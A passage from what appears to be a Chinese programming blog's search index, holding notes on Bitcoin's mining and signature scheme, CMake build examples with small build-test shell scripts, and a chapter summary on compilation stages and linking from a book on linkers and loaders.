SHA-256,它能够返回一个256位的二进制数。哈希函数的特性在于,其正向计算相对简单,但从结果反推输入几乎是不可能的,这为比特币提供了安全性。\n挖矿流程\n构建字符串:每个矿工将当前的账单信息、前一个区块的头部、当前时间戳和一个随机数拼接成一个字符串。\n进行哈希计算:对这个字符串进行两次 SHA-256 计算,得到哈希值。\n满足条件:要求运算结果的前 n 位为0。矿工通过不断调整随机数(称为“nonce”)来尝试找到满足条件的哈希值。\n\n由于每个矿工的账单信息和时间戳各不相同,他们的计算难度也各不相同。因此,计算能力较强的矿工在挖矿过程中更有可能成功打包新区块。\n难度调整比特币网络会定期调整挖矿的难度,具体方法是根据过去一定时间内生成的区块数量来决定。n 的值越大,要求的前导0位数就越多,挖矿的难度随之增加。通过这种方式,网络确保平均每10分钟能够生成一个新区块。\n身份认证比特币通过电子签名实现身份认证。用户在注册时,系统生成一个随机数,并基于此生成对应的私钥、公钥和地址:\n\n私钥:应严格保密,控制用户对比特币的所有权,任何人拥有私钥便可支配该地址上的比特币。\n公钥:可公开,用于验证交易的合法性,接收方可以使用公钥来验证发送方的签名。\n地址:用户分享的公开信息,其他用户可以通过这个地址向其发送比特币。\n\n当用户 A 想给用户 B 转账时,A 会生成一条记录(例如,A 赋给 B 十个比特币),然后对其进行哈希运算。接下来,A 使用私钥对哈希值进行加密,形成交易签名。最终,A 将记录、公共钥和加密后的数据广播到比特币网络中。\n接收方 B 通过公钥解密密码,得到原始的哈希摘要。如果该摘要与 B 自己计算出的哈希值一致,则确认交易有效。\n防止双重支付比特币系统设计中,每个用户在进行交易时会下载所有区块信息,以验证账户余额。如果 A 尝试向 B 转账但其账户余额不足,网络中的其他节点会拒绝该交易请求。通过这种方式,系统能够防止双重支付问题。\n如果 A 同时向不同的接收者发送转账请求,网络通过检查交易记录来验证每笔交易的合法性,确保用户不会利用相同的比特币进行多次支付。\n防止篡改最长链原则比特币网络中的所有节点根据最长链原则来维护账本。即,当出现多个区块时,节点将选择链条最长的作为有效链。这一原则确保了即使存在分叉情况,最终所有节点会达成共识,选择一致的账本。\n防伪机制通过工作量证明和区块链的结构设计,比特币系统能够有效抵御篡改风险。任何对区块链的修改都需要重新计算后续所有区块的哈希值,这在算力消耗上几乎不可能实现,从而确保比特币交易记录的不可篡改性。\n","categories":["其它"]},{"title":"CMake学习","url":"/2024/10/24/sundry/cmake/","content":"Hello World#CMakeLists.txt#指定支持的最低CMake版本cmake_minimum_required(VERSION 3.5)#指定项目名称project (hello_cmake)#指定应从指定的源文件构建可执行文件#一个参数是要构建的可执行文件的名称,第二个参数是要编译的源文件列表。add_executable(hello_cmake main.cpp)# 简写方式add_executable(${PROJECT_NAME} main.cpp)\n\n使用单独的源文件和头文件CMake 语法指定了一些可以帮助查找项目或源树中有用目录的变量。其中一些包括:\n\n\n\n变量\n含义\n\n\n\nCMAKE_SOURCE_DIR\n根源目录\n\n\nCMAKE_CURRENT_SOURCE_DIR\n当前源目录(如果使用子项目和目录)。\n\n\nPROJECT_SOURCE_DIR\n当前CMake项目的源目录。\n\n\nCMAKE_BINARY_DIR\n根二进制/构建目录。这是您运行cmake命令的目录。\n\n\nCMAKE_CURRENT_BINARY_DIR\n您当前所在的构建目录。\n\n\nPROJECT_BINARY_DIR\n当前项目的构建目录。\n\n\n在运行make时添加VERBOSE标志,以查看完整的输出。\n# 指定支持的最低CMake版本cmake_minimum_required(VERSION 3.5)# 指定项目名称project (hello_headers)# 创建一个包含源文件的变量set(SOURCES src/Hello.cpp src/main.cpp)# 设置 SOURCES变量中特定文件名的另一种替代方法是使用 GLOB 命令,通过通配符模式匹配来查找文件。# file(GLOB SOURCES "src/*.cpp")# 添加源文件add_executable(hello_headers ${SOURCES})# 设置包含目录target_include_directories(hello_headers PRIVATE ${PROJECT_SOURCE_DIR}/include)\n\n使用静态库add_library()函数用于从一些源文件中创建一个库。\nadd_library(hello_library STATIC\tsrc/hello.cpp)\n\n使用target_include_directories函数将目录包含在库中,作用域设置为PUBLIC\ntarget_include_directories(hello_library PUBLIC ${PROJECT_SOURCE_DIR}/include)\n作用域的含义如下:\n\nPRIVATE 该目录仅添加到此目标的包含目录\nINTERFACE 该目录添加到任何链接此库的目标的包含目录\nPUBLIC 如下所述,即包含在此库中,也包含在任何链接此库的目标中。对于公共头文件target_include_directories的目录将是包含目录树的根,您的C++文件应从该位置开始包含头文件路径。\n\n在这个例子使用这种方法可以减少项目中使用多个库时,头文件名称冲突的可能性。\n# 指定支持的最低CMake版本cmake_minimum_required(VERSION 3.5)# 指定项目名称project(hello_library)############################################################# Create a library#############################################################Generate the static library from the library sourcesadd_library(hello_library STATIC src/Hello.cpp)target_include_directories(hello_library PUBLIC ${PROJECT_SOURCE_DIR}/include)############################################################# Create an executable############################################################# Add an executable with the above sourcesadd_executable(hello_binary src/main.cpp)# link the new hello_library target with the hello_binary targettarget_link_libraries( hello_binary PRIVATE hello_library)\n\n使用共享库cmake_minimum_required(VERSION 3.5)# 项目名称project(hello_library)############################################################# Create a library#############################################################Generate the shared library from the library sources# add_library函数用于从一些源文件创建共享库add_library(hello_library SHARED src/Hello.cpp)# 创建一个别名目标 hello::library,它指向实际的库目标 hello_library。add_library(hello::library ALIAS hello_library)target_include_directories(hello_library PUBLIC ${PROJECT_SOURCE_DIR}/include)############################################################# Create an executable############################################################# Add an executable with the above sourcesadd_executable(hello_binary src/main.cpp)# link the new hello_library target with the hello_binary target# 链接共享库与链接静态库是相同的。在创建可执行文件时,使用 `target_link_library()` 函数指向你的库。target_link_libraries( hello_binary PRIVATE hello::library)\n\nmake installCMake 提供了添加 make install 目标的功能,允许用户安装二进制文件、库和其他文件。基础安装位置由变量 CMAKE_INSTALL_PREFIX 控制,可以通过 ccmake 设置或通过调用 cmake .. -DCMAKE_INSTALL_PREFIX=/install/location 来设置。\ncmake_minimum_required(VERSION 3.5)project(cmake_examples_install)############################################################# Create a library#############################################################Generate the shared library from the library sourcesadd_library(cmake_examples_inst SHARED src/Hello.cpp)target_include_directories(cmake_examples_inst PUBLIC ${PROJECT_SOURCE_DIR}/include)############################################################# Create an executable############################################################# Add an executable with the above sourcesadd_executable(cmake_examples_inst_bin src/main.cpp)# link the new hello_library target with the hello_binary targettarget_link_libraries( cmake_examples_inst_bin PRIVATE cmake_examples_inst)############################################################# Install############################################################# Binaries# 安装名为cmake_examples_inst_bin的可执行目标到指定的目标目录bininstall (TARGETS cmake_examples_inst_bin DESTINATION bin)# Library# Note: may not work on windows# 安装名为 cmake_examples_inst 的库目标到 lib 目录install (TARGETS cmake_examples_inst LIBRARY DESTINATION lib)# Header files# 将 include 目录下的所有头文件拷贝到安装目录的 include 目录中install(DIRECTORY ${PROJECT_SOURCE_DIR}/include/ DESTINATION include)# Config# 将名为 cmake-examples.conf 的文件安装到 etc 目录install (FILES cmake-examples.conf DESTINATION etc)\n\n设置默认构建和优化标志CMake 具有多种内置的构建配置,可用于编译您的项目。这些配置指定了优化级别以及是否在二进制文件中包含调试信息。\n提供的级别有:\n\nRelease - 添加 -O3 -DNDEBUG 标志到编译器\nDebug - 添加 -g 标志\nMinSizeRel - 添加 -Os -DNDEBUG 标志\nRelWithDebInfo - 添加 -O2 -g -DNDEBUG 标志# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.5)# 检查是否没有指定构建类型(CMAKE_BUILD_TYPE),并且没有使用多配置生成器(如Visual Studio,使用CMAKE_CONFIGURATION_TYPES)。if(NOT CMAKE_BUILD_TYPE AND NOT CMAKE_CONFIGURATION_TYPES) # 输出消息,提示用户将构建类型设置为RelWithDebInfo,因为没有指定任何构建类型。 message("Setting build type to 'RelWithDebInfo' as none was specified.") # 将构建类型设置为RelWithDebInfo,并将其缓存为一个字符串类型的变量。FORCE选项确保即使该变量之前被设置,也会被覆盖。 set(CMAKE_BUILD_TYPE RelWithDebInfo CACHE STRING "Choose the type of build." FORCE) # 为CMake GUI设置构建类型的可能值,允许用户在GUI中选择。这里列出了Debug、Release、MinSizeRel和RelWithDebInfo四个选项。 set_property(CACHE CMAKE_BUILD_TYPE PROPERTY STRINGS "Debug" "Release" "MinSizeRel" "RelWithDebInfo") endif()# 设置项目名称project (build_type)# 添加可执行文件add_executable(cmake_examples_build_type main.cpp)\n\n设置额外的编译标志cmake_minimum_required(VERSION 3.5)# Set a default C++ compile flagset (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -DEX2" CACHE STRING "Set C++ Compiler Flags" FORCE)# Set the project nameproject (compile_flags)# Add an executableadd_executable(cmake_examples_compile_flags main.cpp)target_compile_definitions(cmake_examples_compile_flags PRIVATE EX3)\n\n链接第三方库cmake_minimum_required(VERSION 3.5)# Set the project nameproject (third_party_include)# find a boost install with the libraries filesystem and systemfind_package(Boost 1.46.1 REQUIRED COMPONENTS filesystem system)# check if boost was foundif(Boost_FOUND) message ("boost found")else() message (FATAL_ERROR "Cannot find Boost")endif()# Add an executableadd_executable(third_party_include main.cpp)# link against the boost librariestarget_link_libraries( third_party_include PRIVATE Boost::filesystem)\n\n调用clangCMake 提供选项来控制用于编译和链接代码的程序。这些程序包括:\n\nCMAKE_C_COMPILER - 用于编译 C 代码的程序。\n\nCMAKE_CXX_COMPILER - 用于编译 C++ 代码的程序。\n\nCMAKE_LINKER - 用于链接二进制文件的程序。\n\n\n# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.5)# Set the project nameproject (hello_cmake)# Add an executableadd_executable(hello_cmake main.cpp)\n\n#pre_test.sh#!/bin/bashROOT_DIR=`pwd`dir="01-basic/I-compiling-with-clang"if [ -d "$ROOT_DIR/$dir/build.clang" ]; then echo "deleting $dir/build.clang" rm -r $dir/build.clangfi\n\n#run_tesh.sh#!/bin/bash# Ubuntu supports multiple versions of clang to be installed at the same time.# The tests need to determine the clang binary before calling cmakeclang_bin=`which clang`clang_xx_bin=`which clang++`if [ -z $clang_bin ]; then clang_ver=`dpkg --get-selections | grep clang | grep -v -m1 libclang | cut -f1 | cut -d '-' -f2` clang_bin="clang-$clang_ver" clang_xx_bin="clang++-$clang_ver"fiecho "Will use clang [$clang_bin] and clang++ [$clang_xx_bin]"mkdir -p build.clang && cd build.clang && \\ cmake .. -DCMAKE_C_COMPILER=$clang_bin -DCMAKE_CXX_COMPILER=$clang_xx_bin && make\n\n\n生成ninja构建文件# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.5)# Set the project nameproject (hello_cmake)# Add an executableadd_executable(hello_cmake main.cpp)\n\n#pre_test.sh#!/bin/bashROOT_DIR=`pwd`dir="01-basic/J-building-with-ninja"if [ -d "$ROOT_DIR/$dir/build.ninja" ]; then echo "deleting $dir/build.ninja" rm -r $dir/build.ninjafi\n\n#run_tesh.sh#!/bin/bash# Travis-ci cmake version doesn't support ninja, so first check if it's supportedninja_supported=`cmake --help | grep Ninja`if [ -z $ninja_supported ]; then echo "Ninja not supported" exitfimkdir -p build.ninja && cd build.ninja && \\ cmake .. -G Ninja && ninja\n\n\n导入目标链接Boostcmake_minimum_required(VERSION 3.5)# Set the project nameproject (imported_targets)# find a boost install with the libraries filesystem and systemfind_package(Boost 1.46.1 REQUIRED COMPONENTS filesystem system)# check if boost was foundif(Boost_FOUND) message ("boost found")else() message (FATAL_ERROR "Cannot find Boost")endif()# Add an executableadd_executable(imported_targets main.cpp)# link against the boost librariestarget_link_libraries( imported_targets PRIVATE Boost::filesystem)\n\n#run_test.sh#!/bin/bash# Make sure we have the minimum cmake versioncmake_version=`cmake --version | grep version | cut -d" " -f3`[[ "$cmake_version" =~ ([3-9][.][5-9.][.][0-9]) ]] || exit 0echo "correct version of cmake"mkdir -p build && cd build && cmake .. && makeif [ $? -ne 0 ]; then echo "Error running example" exit 1fi\n\n设置C++标准1# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 2.8)# Set the project nameproject (hello_cpp11)# try conditional compilationinclude(CheckCXXCompilerFlag)CHECK_CXX_COMPILER_FLAG("-std=c++11" COMPILER_SUPPORTS_CXX11)CHECK_CXX_COMPILER_FLAG("-std=c++0x" COMPILER_SUPPORTS_CXX0X)# check results and add flagif(COMPILER_SUPPORTS_CXX11)# set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11")elseif(COMPILER_SUPPORTS_CXX0X)# set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++0x")else() message(STATUS "The compiler ${CMAKE_CXX_COMPILER} has no C++11 support. Please use a different C++ compiler.")endif()# Add an executableadd_executable(hello_cpp11 main.cpp)\n\n2# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.1)# Set the project nameproject (hello_cpp11)# set the C++ standard to C++ 11set(CMAKE_CXX_STANDARD 11)# Add an executableadd_executable(hello_cpp11 main.cpp)\n\n3# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.1)# Set the project nameproject (hello_cpp11)# Add an executableadd_executable(hello_cpp11 main.cpp)# set the C++ standard to the appropriate standard for using autotarget_compile_features(hello_cpp11 PUBLIC cxx_auto_type)# Print the list of known compile features for this version of CMakemessage("List of compile features: ${CMAKE_CXX_COMPILE_FEATURES}")\n","categories":["其它"]},{"title":"《链接、装载与库》chapter2 编译和链接","url":"/2024/10/26/link_load_lib/link-load-lib-2/","content":"被隐藏了的过程C 语言中的Hello World!程序所有程序员都可以写出来并用 gcc 编译程序。\n事实上,上述编译过程可以分解为 4 个步骤,分别是预处理(Prepressing)、编译(Compilation)、汇编(Assembly) 和链接(Linking)\n\n预编译首先是源代码文件和相关的头文件,如 stdio.h 等被预编译器 cpp 预编译成一个 .i 文件。\n预编译过程主要处理那些源代码文件中的以 “#” 开始的预编译指令。比如 “#include”、“define” 等,主要处理规则如下:\n\n将所有的 “define” 删除,并且展开所有的宏定义。\n处理所有条件预编译指令,比如 “#if ”、“#ifdef ”、“#elif ”、“#else ”、“#endif ”。\n处理 “#include” 预编译指令,将被包含的文件插入到该预编译指令的位置。注意,这个过程是递归进行的,也就是说被包含的文件可能还包含其他文件。\n删除所有的注释 “//” 和 “/ ** /”。\n添加行号和文件名标识,比如#2 “hello.c” 2,以便于编译时编译器产生调试用的行号信息及用于编译时产生编译错误或警告时能够显示行号。\n保留所有的 “#pragma” 编译器指令,因为编译器须要使用它们。\n\n经过预编译后的 .i 文件不包含任何宏定义,因为所有的宏已经被展开,并且包含的文件也已经被插入到 .i 文件中。所以当我们无法判断宏定义是否正确或头文件是否正确时,可以查看预编译后的文件来确定问题。\n编译编译过程就是把预处理完的文件进行一系列词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件,这个过程往往是我们所说的整个程序构建的核心部分,也是最复杂的部分之一。\n现在版本的 gcc 把预编译和编译两个步骤合并成一个步骤,使用一个叫做 ccl 的程序来完成这两个步骤。\n编译器 cc1、汇编器 as、链接器 ld。gcc 程序只是这些后台程序的包装,它会根据不同的参数要求去调用相应的程序。\n汇编汇编器是将汇编代码转变成机器可以执行的指令,每一个汇编语句几乎都对应一条机器指令。所有汇编器的汇编过程只需要根据汇编指令和机器指令的对照表一一翻译就可以了。上述过程由汇编器 as 来完成。\n链接链接通常是一个让人比较费解的过程,为什么汇编器不直接输出可执行文件而是输出一个目标文件呢?链接过程到底包含了什么内容?为什么要链接?\ncrt1.o、crti.o、crtbeginT.o、crtn.o 以 .o 为后缀的这些文件是什么?它们做什么用的?-lgcc -lgcc_en -lc这些都是什么参数?为什么要使用它们?为什么要将它们和hello.o 链接起来才可以得到可执行文件?\n这些问题正是本书所需要介绍的内容,它们看似简单,其实涉及了编译、链接和库,甚至是操作系统的一些很底层的内容。\n编译器做了什么?从最直观的角度来讲,编译器就是将高级语言翻译成机器语言的一个工具。\n因为低级语言开发效率低下和局限性大的特点,所以诞生了高级语言。\n编译器就是高级语言和低级语言的中间层级,编译器将高级语言翻译成相应的指令集的机器语言。所以高级语言不像低级语言一样须要考虑硬件的不同,所以高级语言的可移植性更高。\n编译过程一般可以分为 6 步:扫描、语法分析、语义分析、源代码优化、代码生成和目标代码优化。\n\n我们将结合上图来简单描述从源代码(Source Code) 到最终目标代码(Final Target Code) 的过程。以一段很简单的 C 语言的代码为例子来讲述这个过程。比如我们有一行 C 语言的源代码如下:\narray[index] = (index+4)*(2+6)ComplierExpression.c\n\n词法分析首先源代码程序被输入到扫描器(Scanner),扫描器的任务很简单,它只是简单地进行词法分析,运用一种类似于有限状态机(Filite StateMachine) 的算法可以很轻松地将源代码的字符序列分割成一系列的记号(Token)。\n以上程序总共包含了28个非空字符,经过扫描以后,产生了16个记号:\t\n\n\n\n记号\n类型\n\n\n\narray\n标识符\n\n\n[\n左方括号\n\n\nindex\n标识符\n\n\n]\n右方括号\n\n\n=\n赋值\n\n\n(\n左圆括号\n\n\nindex\n标识符\n\n\n+\n加号\n\n\n4\n数字\n\n\n)\n右圆括号\n\n\n*\n乘号\n\n\n(\n左圆括号\n\n\n2\n数字\n\n\n+\n加号\n\n\n6\n数字\n\n\n)\n右圆括号\n\n\n词法分析产生的记号一般可以分为如下几类:关键字、标识符、字面量(包含数字、字符串等)和特殊符号(如加号、等号)。在识别记号的同时,扫描器也完成了其他工作。比如将标识符存放到符号表,将数字、字符串常量存放到文字表等,以备后面的步骤使用。\n有一个叫做 lex 的程序可以实现词法扫描,它会按照用户之前描述好的词法规则将输入的字符串分割成一个个记号。因为这样一个程序的存在,编译器的开发者就无须为每个编译器开发一个独立的词法扫描器,而是根据需要改变词法规则就可以了。\n另外对于一些有预处理的语言,比如 C 语言,它的宏替换和文件保护等工作一般不归于编译器的范围而交给一个独立的预处理器。\n语法分析接下来词法分析器(Grammar Parser) 将对由扫描器产生的记号进行语法分析,从而产生语法树(Syntax Tree)。整个分析过程采用了上下文无关语法的分析手段。\n由语法分析生成的语法树就是以表达式(Expression) 为节点的树。\n我们知道C语言的一个语句是一个表达式,而复杂的语句是很多表达式的组合。\n上面例子中的语句就是一个由赋值表达式、加法表达式、乘法表达式、括号表达式组成的复杂语句。\n它在经过语法分析器以后形成如下图所示的语法树。\n\n从上图我们可以看到,整个语句被看作一个赋值表达式;赋值表达式的左边是一个数组表达式,它的右边是一个乘法表达式;数组表达式又由两个符号表达式组成,等等。符号和数字是最小的表达式,它们不是由其他的表达式来组成的,所以它们通常作为整个语法树的叶节点。\n在语法分析的同时,很多运算符号的优先级和含义也被确定下来了。比如乘法表达式的优先级比加法高,而圆括号表达式的优先级比乘法高,等等。另外有些符号具有多重含义,比如星号 * 在C语言中可以表示乘法表达式,也可以表示对指针取内容的表达式,所以语法分析阶段必须对这些内容进行区分。如果出现了表达式不合法,比如各种括号不匹配、表达式中缺少操作符等,编译器就会报告语法分析阶段的错误。\n语法分析也有一个现成的工具叫做 yacc(Yet Another Compiler Compiler)。它可以根据用户给定的语法规则对输入的记号序列进行解析,从而构建出一棵语法树。对于不同的编程语言,编译器的开发者只须改变语法规则,而无须为每个编译器编写一个语法分析器,所以它又被称为 “编译器编译器(Compiler Compiler)”。\n语义分析接下来进行的是语义分析,由语义分析器(Semantic Analyzer) 来完成。语法分析仅仅是完成了对表达式的语法层面的分析,但是它并不了解这个语句是否真正有意义。比如 C 语言里面两个指针做乘法运算是没有意义的,但是这个语句在语法上是合法的;比如同样一个指针和一个浮点数做乘法运算是否合法等。编译器所能分析的语义是静态语义(Static Semantic),所谓静态语义是指在编译期可以确定的语义,与之对应的动态语义(Dynamic Semantic) 就是只有在运行期才能确定的语义。\n静态语义通常包括声明和类型的匹配,类型的转换。 比如当一个浮点型的表达式赋值给一个整型的表达式时,其中隐含了一个浮点型到整型转换的过程,语义分析过程中需要完成这个步骤。比如将一个浮点型赋值给一个指针的时候,语义分析程序会发现这个类型不匹配,编译器将会报错。动态语义一般指在运行期出现的语义相关的问题,比如将 0 作为除数是一个运行期语义错误。\n经过语义分析阶段以后,整个语法树的表达式都被标识了类型,如果有些类型需要做隐式转换,语义分析程序会在语法树中插入相应的转换节点。 上面描述的语法树在经过语义分析阶段以后成为如图所示的形式。\n\n可以看到,每个表达式(包括符号和数字)都被标识了类型。我们的例子中几乎所有的表达式都是整型的,所以无须做转换,整个分析过程很顺利。语义分析器还对符号表里的符号类型也做了更新。\n中间语言生成现代的编译器有着很多层次的优化,往往在源代码级别会有一个优化过程。我们这里所描述的源码级优化器(Source Code Optimizer) 在不同编译器中可能会有不同的定义或有一些其他的差异。\n源代码级优化器会在源代码级别进行优化,在上例中,细心的读者可能已经发现,(2+6)这个表达式可以被优化掉,因为它的值在编译期就可以被确定。\n经过优化的语法树如下:\n\n我们看到(2+6)这个表达式被优化成8.起始直接在语法树上作优化比较困难,所以源代码优化器往往将整个语法树转换成中间代码(Intermediate Code),它是语法树的顺序表示,其实它已经非常接近目标代码了。但是它一般跟目标及其和运行时环境是无关的,比如它不包含数据的尺寸、变量地址和寄存器的名字等。\n中间代码有很多种类型,在不同的编译器中有着不同的形式,比较常见的有:三地址码(Three-address Code) 和 P-代码(P-Code)。\n最基本的三地址码是这样的:\t\nx = y op z\n\n这个三地址码表示将变量 y 和 z 进行 op 操作以后,赋值给 x。这里 op 操作可以是算数运算,比如加减乘除等,也可以是其他任何可以应用到 y和 z 的操作。三地址码也得名于此,因为一个三地址码语句里面有三个变量地址。\n我们上面的例子中的语法树可以被翻译成三地址码后是这样的:\nt1 = 2 + 6t2 = index + 4t3 = t2 * t1array[index] = t3\n\n我们可以看到,为了使所有的操作都符合三地址码形式,这里利用了几个临时变量:t1、t2 和 t3。在地址码的基础上进行优化时,优化程序会将2+6 的结果计算出来,得到 t1=6。然后将后面代码中的 t1 替换成数字 6。还可以省去一个临时变量 t3,因为 t2 可以重复利用。\n经过优化后的代码如下:\nt2 = index + 4t2 =t * 8array[index] = t2\n\n中间代码使得编译器可以被分为前端和后端。编译器前端负责产生机器无关的中间代码,编译器后端将中间代码转换成目标机器代码。 这样对于一些可以跨平台的编译器而言,它们可以针对不同的平台使用同一个前端和针对不同机器平台的数个后端。\n目标代码生成与优化源代码级优化器产生中间代码标志着下面的过程都属于编译器后端。 编译器后端主要包括代码生成器(Code Generator) 和目标代码优化器(Target Code Optimizer)。\n让我们先来看看代码生成器。代码生成器将中间代码转换成目标机器代码,这个过程十分依赖于目标机器,因为不同的机器有着不同的字长、寄存器、整数数据类型和浮点数数据类型等。\n对于上面例子中的中间代码,代码生成器可能会生成下面的代码序列(我们用 x86 的汇编语言来表示,并且假设 index 的类型为 int 型,array 的类型为 int 型数组):\nmovl index, %ecx\t\t\t;value of index to ecxaddl $4, %ecx\t\t\t\t;ecx = ecx + 4mull $8, %ecx\t\t\t\t;ecx = ecx * 8movl index, %eax\t\t\t;value of index to eaxmovl %ecx, array(,eax,4)\t;array[index] = ecx\n\n最后目标代码优化器对上述的目标代码进行优化,比如选择合适的寻址方式、使用位移来代替乘法运算、删除多余的指令等。\n上面的例子中,乘法由一条相对复杂的基址比例变址寻址(Base Index Scale Addressing) 的 lea 指令完成,随后由一条 mov 指令完成最后的赋值操作,这条 mov 指令的寻址方式与 lea 是一样的。\nmovl index, %edxleal 32(,%edx,8), %eaxmovl %eax, array(,%edx,4)\n现代的编译器有着异常复杂的结构,这是因为现代高级编程语言本身非常地复杂,比如 C++ 语言的定义就极为复杂,至今没有一个编译器能够完整支持 C++ 语言标准所规定的所有语言特性(现在基本可以支持)。另外现代的计算机 CPU 相当地复杂,CPU 本身采用了诸如流水线、多发射、超标量等诸多复杂的特性,为了支持这些特性,编译器的机器指令优化过程也变得十分复杂。使得编译过程更为复杂的是有些编译器支持多种硬件平台,即允许编译器编译出多种目标 CPU 的代码。比如著名的 GCC 编译器就几乎支持所有CPU平台,这也导致了编译器的指令生成过程更为复杂。\n经过这些扫描、语法分析、源代码优化、代码生成和目标代码优化,编译器忙活了这么多个步骤以后,源代码终于被编译成了目标代码。但是这个目标代码中有一个问题是:index 和 array 的地址还没有确定。如果我们要把目标代码使用汇编器编译成真正能够在机器上执行的指令,那么 index 和 array 的地址应该从哪儿得到呢?如果 index 和 array 定义在跟上面的源代码同一个编译单元里面,那么编译器可以为 index 和 array 分配空间,确定它们的地址;那如果是定义在其他的程序模块呢?\n这个看似简单的问题引出了我们一个很大的话题:目标代码中有变量定义在其他模块,该怎么办?事实上,定义其他模块的全局变量和函数在最终运行时的绝对地址都要在最终链接的时候才能确定。所有现代的编译器可以将一个源代码文件编译成一个未链接的目标文件,然后由链接器最终将这些目标文件链接起来形成可执行文件。让我们带着这个问题,走进链接的世界。\n链接器年龄比编译器长假设有一种计算机,它的每条指令是 1 个字节,也就是 8 位。我们假设有一种跳转指令,它的高 4 位是 0001,表示这是一条跳转指令:低 4 位存放的是跳转目的地的绝对地址。我们可以从下图看到,这个程序的第一条指令就是一条跳转指令,它的目的地址是第 5 条指令(注意,第 5 条指令的绝对地址是 4)。至于 0 和 1 怎么映射到纸带上,这个应该很容易理解,比如我们可以规定纸带上每行有 8 个孔位,每个孔位代表一位,穿孔表示 0,未穿孔表示 1。\n现在问题来了,程序并不是一写好就永远不变的,它可能会经常被修改。比如我们在第 1 条指令之后、第 5 条指令之前插入了一条或多条指令,那么第 5 条指令及后面的指令的位置将会相应地往后移动,原先第一条指令的低 4 位的数字将需要相应地调整。在这个过程中,程序员需要人工重新计算每个子程序或跳转的目标地址。当程序修改的时候,这些位置都要重新计算,十分繁琐又耗时,并且很容易出错。这种重新计算各个目标的地址过程被叫做重定位(Relocation)。\n\n如果我们有多条纸带的程序,这些程序之间可能会有类似的跨纸带之间的跳转,这种程序经常修改导致跳转目标地址变化在程序拥有多个模块的时候更为严重。人工绑定进行指令的修正以确保所有的跳转目标地址都正确,在程序规模越来越大以后变得越来越复杂和繁琐。\n没办法,这种黑暗的程序员生活是没有办法容忍的。先驱者发明了汇编语言,这相比机器语言来说是个很大的进步。汇编语言使用接近人类的各种符号和标记来帮助记忆,比如指令采用两个或三个字母的缩写,记住 “jmp” 比记住 0001XXXX 是跳转(jump)指令容易得多了;汇编语言还可以使用符号来标记位置,比如一个符号 “divide” 表示一个除法子程序的起始地址,比记住从某个位置开始的第几条指令是除法子程序方便得多。最重要的是,这种符号的方法使得人们从具体的指令地址中逐步解放出来。比如前面纸带程序中,我们把刚开始第 5 条指令开始的子程序命名为 “foo” ,那么第一条指令的汇编就是:\njmp foo\n当然人们可以使用这种符号命名子程序或跳转目标以后,不管这个 “foo” 之前插入了或减少了多少条指令导致 “foo” 目标地址发生了什么变化,汇编器在每次汇编程序的时候会重新计算 “foo” 这个符号的地址,然后把所有引用到 “foo” 的指令修正到这个正确的地址。整个过程不需要人工参与,对于一个有成百上千个类似的符号的程序,程序员终于摆脱了这种低级的繁琐的调整地址的工作,用一句政治口号来说叫做 “极大地解放了生产力”。符号(Symbol) 这个概念随着汇编语言的普及迅速被使用,它用来表示一个地址,这个地址可能是一段子程序(后来发展成函数)的起始地址,也可以是一个变量的地址。\n有了汇编语言以后,生产力大大提高了,随之而来的是软件的规模也开始日渐庞大,这时程序的代码量也已经开始快速地膨胀,导致人们要开始考虑将不同功能的代码以一定的方式组织起来,使得更加容易阅读和理解,以便于日后修改和重复使用。自然而然,人们开始将代码按照功能或性质划分,分别形成不同的功能模块,不同的模块之间按照层次结构或其他结构来组织。这个在现代的软件源代码组织中很常见,比如在 C 语言中,最小的单位是变量和函数,若干个变量和函数组成一个模块,存放在一个 “.c” 的源代码文件里,然后这些源代码文件按照目录结构来组织。在比较高级的语言中,如 Java 中,每个类是一个基本的模块,若干个类模块组成一个包(Package),若干个包组合成一个程序。\n在现代软件开发过程中,软件的规模往往都很大,动辄数百万行代码,如果都放在一个模块肯定无法想象。所以现代的大型软件往往拥有成千上万个模块,这些模块之间相互依赖又相对独立。这种按照层次化及模块化存储和组织源代码有很多好处,比如代码更容易阅读、理解、重用,每个模块可以单独开发、编译、测试、改变部分代码不需要编译整个程序等。\n在一个程序被分割成多个模块以后,这些模块之间最后如何组合形成一个单一的程序是须解决的问题。模块之间如何组合的问题可以归结为模块之间如何通信的问题,最常见的属于静态语言的 C/C++ 模块之间通信有两种方式,一种是模块间的函数调用,另外一种是模块间的变量访问。函数访问须要知道目标函数的地址,变量访问也须知道目标变量的地址,所以这两种方式都可以归结为一种方式,那就是模块间符号的引用。模块间依靠符号来通信类似于拼图版,定义符号的模块多出一块区域,引用该符号的模块刚好少了那一块区域,两者一拼接刚好完美组合(下图)。这个模块的拼接过程就是本书的一个主题:链接(Linking)\n\n这种基于符号的模块化的一个直接结果是链接过程在整个程序开发中变得十分重要和突出。我们在本书的后面将可以看到链接器如何将这些编译后的模块链接到一起,最终产生一个可以执行的程序\n模块拼装——静态链接程序设计的模块化是人们一直在追求的目标,因为当一个系统十分复杂的时候,我们不得不将一个复杂的系统逐步分割成小的系统以达到各个突破的目的。一个复杂的软件也如此,人们把每个源代码模块独立地编译,然后按照要将它们 “组装” 起来,这个组装模块的过程就是链接(Linking)。链接的主要内容就是把各个模块之间相互引用的部分都处理好,使得各个模块之间能够正确地衔接。链接器所要做的工作其实跟前面所描述的 “程序员人工跳转地址” 本质上没什么两样,只不过现代的高级语言的诸多特性和功能,使得编译器、链接器更为复杂,功能更为强大,但从原理上来讲,它的工作无非就是把一些指令对其他符号地址的引用加以修正。链接过程主要包括了地址和空间分配(Address and Storage Allocation)、符号决议(Symbol Resolution) 和重定位(Relocation) 等这些步骤。\n\n符号决议有时候也被叫做符号绑定(Symbol Binding)、名称绑定(Name Binding)、名称决议(Name Resolution),甚至还有叫做地址绑定(Address Binding)、指令绑定(Instruction 